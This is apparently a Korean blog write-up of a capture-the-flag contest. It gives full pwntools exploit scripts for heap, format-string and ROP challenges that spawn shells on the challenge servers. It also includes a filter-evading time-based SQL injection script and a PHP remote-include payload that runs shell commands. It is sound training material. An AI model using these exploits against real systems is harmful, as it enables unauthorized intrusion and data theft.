baby RSA
rsa 기초 문제이다. 우리는 n을 알고 있고 암호화 방식이 한글자씩 pow(char,e,n) 으로 진행되기 때문에 브루트 포싱으로 손쉽게 구할 수 있다.
Maze
이름 그대로 미로 찾기 문제이다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+0h] [ebp-8h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
v4 = 1;
while ( v4 > 0 && v4 % 7 )
{
if ( v4 & 7 )
maze1(&v4);
else
maze2(&v4);
sleep(1u);
}
printf("\n ===============================================================\n");
printf("\n\t\t You are killed by a trap.\n");
printf("\n ===============================================================\n");
return 0;
}
maze 1에서는 1번을 선택하면 v4+=3 , 2번을 선택하면 v4-=2 가 되는데 v4&7값이 0이 될때의 v4 값으로 버퍼 오버플로 취약점이 가능하기 때문에 이를 잘 공략해 줄 필요가 있었다. 이는 파이썬 코드를 작성해서 랜덤으로 조건 맞을 때까지 돌려서 경우의 수를 계산했다. 문제내에 원가젯이 들어있어서 이 부분만 해결하면 쉽게 풀리는 문제이다.
from pwn import*
import random
one_gadget=0x80491b2
def se(num) :
p.recvuntil('1. Left 2. Right')
p.sendline(str(num))
p=process('./maze')
p=remote('sfctf.ml',10002)
se(1)
se(2)
se(1)
se(1)
se(1)
se(2)
se(1)
se(2)
se(1)
se(1)
se(1)
se(2)
se(1)
se(1)
se(1)
se(1)
se(1)
p.recvuntil('2. Right')
p.sendline('0')
sleep(1)
p.send('A'*0x18+p32(one_gadget))
p.interactive()
Happy Dorm
흠.. 어째서 이게 포너블인지는 잘 모르겠지만 포너블로 나왔다.
바이너리를 분석하면 바로 알 수 있겠지만 manager 권한을 획득하는 것이 목적인데, Alex로 register 하고 Delete를 하면 manager 권한을 획득할 수 있어서 바로 쉘을 딸 수 있다.
IntoTheMovie
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+7h] [rbp-9h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("enter any str(input 1 = finish)");
while ( 1 )
{
read(0, &buf, 0x100uLL);
printf("input str: ");
printf(&buf);
if ( atoi(&buf) == 1 )
break;
memset(&buf, 0, 0x100uLL);
}
puts("Any last word?");
gets(&buf);
return 0;
}
기본적인 포멧스트링 문제이다. 저 buf가 rbp-9여서 조금 당황을 했긴 하지만..
원래 출제자의 의도는 leak을 해서 gets를 system으로 만들라는 것 같았는데, leak을 FSB 로 하는게 잘 안되서
__stack_chk_fail 의 got를 ret으로 덮어서 rop를 했다.
from pwn import*
p=process('./IntoTheMovie',env={'LD_PRELOAD':'./libc.so.6'})
p=remote('sfctf.ml',10003)
one=[0x142f8b,0x142f8c,0x10a41c]
atoi=0x601058
canary=0x601020
puts=0x400620
pop_rdi=0x400913
puts_got=0x601018
ret=0x4008a8
def put(data) :
sleep(1)
p.sendline(data)
pl='A'*9+'%156daaa'+'%10$hhna'+p64(0x601020)
put(pl)
pl='A'*9+'%252daaa'+'%10$hhna'+p64(0x601021)
put(pl)
sleep(1)
p.sendline('1')
p.recvuntil('Any last word?')
pl='A'*9+p64(0x6010a0)+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(pop_rdi)+p64(atoi)+p64(0x400680)+p64(0x400813)
pause()
p.sendline(pl)
p.recv(1)
libc=u64(p.recv(6).ljust(8,'\x00'))-0x06f6a0
print(hex(libc))
sleep(1)
p.sendline(p64(libc+0x0453a0))
p.interactive()
Profile
change 함수에 UAF 취약점과 OOB 취약점이 존재한다. 따라서 leak을 하기 위해서 bk를 수정해서 unsortedbin attack을 0x602100에 진행한다. 이후에 unsorted bin attack을 한번 더 진행해 줄 필요가 있는데, 망가진 빈을 OOB 취약점을 통해서 0x602100에 적힌 main arena 주소쪽을 수정해서 고칠 수 있다. 이렇게 빈을 고친 이후 IO_BUF_END attack을 진행해서 원가젯으로 쉽게 쉘을 딸 수 있다.
from pwn import*
p=process('./profile')
#p=remote('land-sfctf.ml',10007)
one=[0x45226,0x4527a,0xf1207,0xf0364]
ext_free=0x602100
profiles=0x6020c0
def add(name,hobby) :
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('Name :')
p.send(name)
p.recvuntil('Hobby :')
p.send(hobby)
def change(index,name,hobby) :
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('Name :')
p.send(name)
p.recvuntil('Hobby :')
p.send(hobby)
def delete(index) :
p.recvuntil('>>')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(index))
def leak() :
p.recvuntil('>>')
p.sendline('4')
p.recv(1)
add('aaa','aaa')
add('aaa','aaa')
delete(0)
change(0,p64(ext_free-0x10)[:7],'aaaa')
add('bbbb','bbbbbbbbb')
leak()
main_arena=u64(p.recv(6).ljust(8,'\x00'))-0x11
libc=main_arena-0x3c4b20
buf_end=main_arena-0x200
print('main arena : '+hex(main_arena))
change(8,p64(0)[:7],p64(main_arena+88)*2)
add('bbb','bbb')
add('bbb','bbb')
delete(2)
change(2,p64(buf_end-0x10)[:7],p64(0))
add('ccc','ccc')
print(hex(libc+one[3]))
pl='\x00'*5
pl+=p64(main_arena+0x1c70)+p64(0xffffffffffffffff)
pl+=p64(0)
pl+=p64(main_arena-0x160)+p64(0)*3
pl+=p64(0xffffffff)+p64(0)*2
pl+=p64(main_arena-0x160)
pl+=p64(0)*2
pl+=p64(libc+one[3])*16
pause()
p.sendline(pl)
p.interactive()
Tell me
이 문제는 처음에는 fake에 약간 낚였다. system("/bin/sh") 는 그냥 원가젯 주는 용도인 듯 하다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h]
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("you can receive money\ngood luck");
printf("================================================", argv);
puts("\n\n");
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v4 = 0;
puts("what's bugging you?");
while ( 1 )
{
if ( !v4 )
{
read(0, stdin, 0x300uLL);
puts("ok");
}
if ( !flag )
break;
fgets(&s, 7, stdin);
puts("ok");
if ( ++v4 == 2 )
exit(0);
}
if ( flag == 2 ) // 페이크인 부분
{
printf("i can give you money");
system("/bin/sh");
}
printf("bye");
return 0;
}
stdin을 수정할 수 있어서 , io_buf_base, buf_end , buf_ptr 등을 수정해서 exit함수의 got를 덮을 수 있게 바꾸어 주고 exit 함수를 원가젯으로 덮어주었다.
from pwn import*
p=process('./tell_me')
p=remote('sfctf.ml',10000)
exit_got=0x601058
pause()
sleep(1)
pl=p64(0xfbad0211)
pl+=p64(0)*3+p64(0)*3
pl+=p64(exit_got)+p64(exit_got+8)
p.send(pl)
p.recvuntil('ok')
p.send(p64(0x4008fa))
p.recvuntil('ok')
p.sendline(p64(0x4008fa))
p.interactive()
Corona 2.5
메뉴 3번에서 그냥 bof 취약점이 존재한다. ROP 하기에 충분한 크기이기 때문에 leak 이후 다시 main으로 돌아와서 system('/bin/sh') 를 실행해주면 된다. 단 조심할 것이 잇는데 다시 돌아오는 것을 고려해서 rbp는 bss주소로 해주었다.
from pwn import*
p=process('./corona_2.5')
p=remote('land-sfctf.ml',10006)
start=0x4006c0
bss=0x601100
pop_rdi=0x400ac3
puts=0x400620
puts_got=0x601018
p.recvuntil('you :')
p.sendline('1')
p.recvuntil(':')
p.sendline('3')
sleep(1)
pl='A'*0x80+p64(bss)+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(0x4008af)
p.send(pl)
p.recvuntil('Welcome!!')
p.recv(0x40)
p.recv(1)
p.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recv(6)
libc=u64(p.recv(6).ljust(8,'\x00'))
print(hex(libc))
libc-=0x6f6a0
system=libc+0x453a0
binsh=libc+0x18ce17
pl='A'*0x80+p64(bss)+p64(pop_rdi)+p64(binsh)+p64(system)
p.send(pl)
p.interactive()
LOL 2.0
상당히 시간을 많이 쏟았던 문제이다. 일단 취약점은 다음과 같다.
- 6,11,16 레벨마다 아이템을 구매할 시에 description을 작성할 수 있는데, addr+0x20 에 0x30 만큼 작성하기 때문에 heap overflow가 존재한다.
- my item을 만들시에 원하는 사이즈만큼 할당이 가능하고, addr+0x10에 0x20만큼 이름을 작성할 수 있다. 따라서 heap overflow가 존재할 수 있다.
__int64 __fastcall set_item(int idx, const char *name, int size)
{
urgot_level[idx + 2] = (__int64)malloc(size);
strcpy((char *)(urgot_level[idx + 2] + 0x10), name);
if ( urgot_level[0] == 6 || urgot_level[0] == 11 || urgot_level[0] == 16 )
{
printf("Description: ");
read(0, (void *)(urgot_level[idx + 2] + 0x20), 0x30uLL);
}
my_item_list[idx] = 1;
return 0LL;
}
__int64 __fastcall my_item(int a1, size_t a2)
{
urgot_level[a1 + 2] = (__int64)malloc(a2);
printf("item's Name : ");
read(0, (void *)(urgot_level[a1 + 2] + 0x10), 0x20uLL);
my_item_list[a1] = 1;
return 0LL;
}
원하는 사이즈 만큼 할당 가능하다는 것에서 house of force로 핀트를 잡았는데, 이 부분에서 너무나도 많은 삽질을 했고 불가능 하다는 것을 알았다. 도저히 18번의 사이클 안에 세팅을 하는 것이 불가능 했다. 그리고 malloc hook에 원가젯을 넣는 것도 막혀있었다. 이때문에 malloc hook에 system 주소를 주고 인자를 조절해서 /bin/sh를 주는 방향으로 선회했다.
일단 leak또한 정교하게 진행해야 했다. addr+0x10의 위치에 name이 위치하기 때문에 먼저 기본적으로 세팅된 0xa0 사이즈 청크를 free하고 6레벨에 취약점을 통해서 판금장화를 구매하고 이 사이즈를 0x1a1로 바꾸어 주었다. 그리고 0x70 사이즈의 아이템인 크라켄 학살자를 구매하면 main_arena 주소가 체력포션의 name의 위치에 가게 된다.
malloc을 분석하면 알 수 있는 사실인데, unsorted bin에서 청크를 때어다 줄 때, topchunk가 올바른 위치에 있는지는 검사하지 않기 때문에 0x131로 세팅을 해도 별 문제가 없다.
그리고 11레벨에는 판금장화 구매를 통해서 malloc hook을 free된 0x70 사이즈의 fastbin chunk의 fd에 적어주고 , 이후에 malloc hook에 system을 적고 my item 구매를 할 때 사이즈를 /bin/sh 의 주소 값으로 주면 쉘이 따진다.
아시다시피 자세한 과정을 서술하는 것 보다는 페이로드를 참조하시길
from pwn import*
p=process('./lol2',aslr=1)
p=remote('land-sfctf.ml',10004)
one=[0x45226,0x4527a,0xf1207,0xf0364]
def buy(idx,description) :
p.recvuntil('>')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(idx))
if len(description)>0 :
p.recvuntil(':')
p.send(description)
def my_item(size,name) :
p.recvuntil('>')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(7))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.send(name)
def dump(idx) :
p.recvuntil('>')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
def gold() :
p.recvuntil('>')
p.sendline('4')
gold()
gold()
gold()
dump(1)
gold()
buy(3,'\x00'*0x18+p64(0x1a1))
buy(1,'')
p.recvuntil('[Item 2] ')
libc=u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78
malloc_hook=libc+0x3c4b10
system=libc+0x453a0
binsh=libc+0x18ce17
print('libc base : '+hex(libc))
dump(1)
dump(3)
gold()
buy(3,p64(0x71)*4+p64(malloc_hook-35))
buy(1,'')
gold()
gold()
gold()
my_item(0x60,'A'*3+p64(system))
gold()
print(binsh)
p.interactive()
Assignment
oob 취약점을 통해서 원하는 주소에 할당받은 힙 주소를 저장 할 수 있고 이를 통해서 count 부분에 heap주소를 남겨서 heapbase leak을 한다. 이제 heap의 주소와의 오프셋을 계산해서 tcache perthread structer에 stderr쪽 주소를 남기고(남길 때 0x20 부분에는 stderr, 0x30 부분에는 tcache 영역 주소를 주었다) heap leak을 할때와 동일한 방법으로 libc leak을 한다. 그리고 위에서 0x30을 받으면 tcache arena 부분을 받을 수 있게 세팅을 했기 때문에, 다시한번 tcache arena를 수정, initial 과 free_hook을 할당 받을 수 있게 설정하여 timeout 되서 exit가 호출 되면 쉘이 따지게 했다. 20.04에서 원가젯을 한번에 맞추는 것은 힘들것 같아서 시도하지 않았다.
말은 주구장창 복잡하게 써놨는데, tcache arena 부분을 변조하면 왠만한건 다 가능하다는 소리이다.
from pwn import*
p=process('./assignment')
p=remote('land-sfctf.ml',10005)
def go(size,data) :
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size :')
p.sendline(str(size))
p.recvuntil(':')
p.send(data)
def done(count) :
p.recvuntil('>')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(count))
done(2)
go(0x10,'aa')
done(0)
p.recvuntil('left : ')
heapbase=int(p.recvline())-0x2a0
target=-1*((heapbase+0x98)-0x404060)/8
print('heapbase : '+hex(heapbase))
print('target num : '+str(target))
done((heapbase+0x2a0)+target)
go(0x60,p64(heapbase+0x90))
done(18)
go(0x60,'aaaa')
go(0x20,'555')
pl=p64(0x404040)+p64(heapbase+0x90)
go(0x20,pl)
done(-1*target-6-8)
go(0x10,'aa')
done(3)
go(0x10,'\x00')
done(0)
p.recvuntil('left : ')
libc=int(p.recvline())-0x1ec5c0
print(hex(libc+0x1ec5c0))
free_hook=libc+0x1eeb28
initial=libc+0x1ed980
system=libc+0x55410
print('libcbase : '+hex(libc))
done(libc+0x1ec5c0)
go(0x20,p64(initial)+p64(free_hook))
go(0x10,"/bin/sh\x00"+p64(0)[:5])
go(0x20,p64(system))
p.interactive()
Backdoor
https://osoriselfmanage.tistory.com/111
링크로 대체한다.
Mysql
sleep 가 필터링 되있어서 slesleep 등으로 우회 and 또한 비슷한 방법으로 우회해서 비밀번호를 찾았다.
admin이 아닌 아이디 또한 존재해서 엉뚱한 비밀번호로 뻘짓을 한 것은 비밀.
#!/usr/bin/python
#-*-coding:utf-8 -*-
import time
import urllib,urllib2,requests
import time
password=''
whole_time=0
url="http://34.64.248.123/ctf.php?pw=' or if( ord(substr(id,1,1))<98 anandd ord(substr(pw,"
key=''
for j in range(1,13) :
for i in range(0x0,0x80) :
if chr(i)=='%' or chr(i)=='\\':
continue
query=str(j)+",1))<"+str(i)+",slesleepep(2),0);%00"
print(url+query)
start = time.time()
res=requests.get(url+query)
interval=time.time()-start
if interval>=2 :
print(chr(i-1))
key+=chr(i-1)
break
print(key)
Reverse
코드가 날라가서 코드를 올리지는 못하는데 위와 비슷하게 time based sql injection이다. 주의 할 것은 거꾸로 페이로드를 집어넣어야 한다는 것이다.
Bonus
이렇게 외부에서 php 파일을 받아와서 혹시나 php가 실행되나 해서 내 서버에 system("ls") 를 실행하는 php 파일을 적고 실행했는데 내 서버에서 ls 가 실행됬다. 그래서 txt 파일로 바꾸어주니 실행이 잘 됬다. 숨겨진 폴더 내에 flag가 존재한다.
<?php system("cd ..;cd THIS_IS_MY_HIDDEN_FOLDER_ffc9bf91c2bff0992a0216470b38e692 ;cat flag"); ?>
Moon
힌트로 로봇이 있어서 robots.txt를 찾아봤는데 없어서 minion.txt 를 혹시나 하고 들어가보니
오호 read.html로 가보자.
이후 minon으로 회원가입하면 flag를 준다.
Keylogger
# -*- coding: utf-8 -*-
log=open('keylogger','r')
result=''
#Shift, CapsLock,Home,Backspace,Delete,RightArrow,LeftArrow
while True :
line=log.readline()
if not line :
break
result+=line
log.close()
cursor=0
caps=False
filtered=''
i=0
def insert_str(string, str_to_insert, index):
if len(string) != 1 :
return string[:index] + str_to_insert + string[index:]
else :
return string[:index] + str_to_insert + string[index+1:]
def shiftmode(code) :
if code=='1' :
return '!'
if code=='2' :
return '@'
if code=='3' :
return '#'
if code=='4' :
return '$'
if code=='5' :
return '%'
if code=='6' :
return '^'
if code=='7' :
return '&'
if code=='8' :
return '*'
if code=='9' :
return '('
if code=='0' :
return ')'
if code=='-' :
return '_'
if code=='=' :
return '+'
if code=='[' :
return '{'
if code==']' :
return '}'
if code==';' :
return ':'
if code=="'":
return '"'
if code==',' :
return '<'
if code=='.' :
return '>'
if code=='/' :
return '?'
if code=='\\' :
return '|'
return code
while i < len(result) :
if result[i]=='<' :
i+=1
if result[i]=='S' : #shift
end=result.find('>',i)
i=end+1
start=result.find('<',i)
first=result[end+1:start]
fr=''
for j in range(len(first)) :
fr+=shiftmode(first[j])
if caps==True : #캡스락 켜지면 그대로
filtered=insert_str(filtered,fr,cursor)
else : #캡스락이 꺼진 경우 대소문자 변경
filtered=insert_str(filtered,fr.swapcase(),cursor)
end=result.find('>',i+1)
i=end
cursor+=len(fr)
elif result[i]=='C' : #caps lock
if caps ==True :
caps=False
else :
caps=True
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
elif result[i]=='H' : #home
cursor=0
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
elif result[i]=='E' : #end
cursor=len(filtered)
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
elif result[i]=='L' : #left arrow
cursor-=1
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
elif result[i]=='R' : #right arrow
cursor+=1
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
elif result[i]=='B' : #backsapce :
filtered=filtered[:cursor-1]+filtered[cursor:]
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
cursor-=1 #backspace 는 커서 이동함
elif result[i]=='D' : #delete :
filtered=filtered[:cursor]+filtered[cursor+1:]
end=result.find('>',i)
i=end+1
end=result.find('>',i+1)
i=end
else :
start=i
end=result.find('<',i)
if caps==True :
filtered=insert_str(filtered,result[start:end].swapcase(),cursor)
else :
filtered=insert_str(filtered,result[start:end],cursor)
i=end-1
cursor+=len(result[start:end])
i+=1
print('cursor : '+str(cursor))
print(filtered)
raw_input()
Guess
파이썬 2의 input() 은 eval(raw_input()) 과 동일하다. 따라서 input을 할 때 원하는 구문을 실행 시킬 수 있었다.
1등을 해서 기쁘지만, tomato revenge를 못풀어서 슬프다. 주어진 시간도 별로 남지 않았었고, 머리가 너무 안돌아갔다..
'전공쪽 > 동아리 관련' 카테고리의 다른 글
webhacking.kr 26,54,27,36,28 (0) | 2021.02.02 |
---|---|
webhacking.kr (0) | 2021.01.27 |
sfw8 write up (0) | 2021.01.11 |
sfw5 write up (0) | 2021.01.10 |
xss challenges (0) | 2021.01.07 |